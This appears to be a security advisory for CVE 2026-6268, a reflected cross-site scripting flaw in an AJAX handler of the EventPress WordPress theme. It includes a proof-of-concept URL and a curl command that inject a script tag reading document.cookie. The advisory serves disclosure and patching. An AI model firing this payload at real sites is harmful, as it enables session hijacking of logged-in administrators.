EventPress < 22.2 – Reflected Cross-Site Scripting | CVE 2026-6268

Description

The theme does not sanitize or escape the 'id' parameter in the eventpress_customizer_notify_dismiss_action AJAX handler before outputting it back in the response, allowing unauthenticated attackers to perform Reflected Cross-Site Scripting attacks against logged-in users.

Proof of Concept

1. Craft the following URL and have an authenticated user (e.g. an admin) visit it:

https://{TARGET}/wp-admin/admin-ajax.php?action=eventpress_customizer_notify_dismiss_action&id=<script>alert(document.cookie)</script>

2. The server responds with Content-Type: text/html and the script tag is reflected verbatim in the response body, executing in the victim's browser context.

3. To verify with curl (requires an authenticated session):

curl -b cookies.txt 'https://{TARGET}/wp-admin/admin-ajax.php?action=eventpress_customizer_notify_dismiss_action&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E'

Response: <script>alert(document.cookie)</script>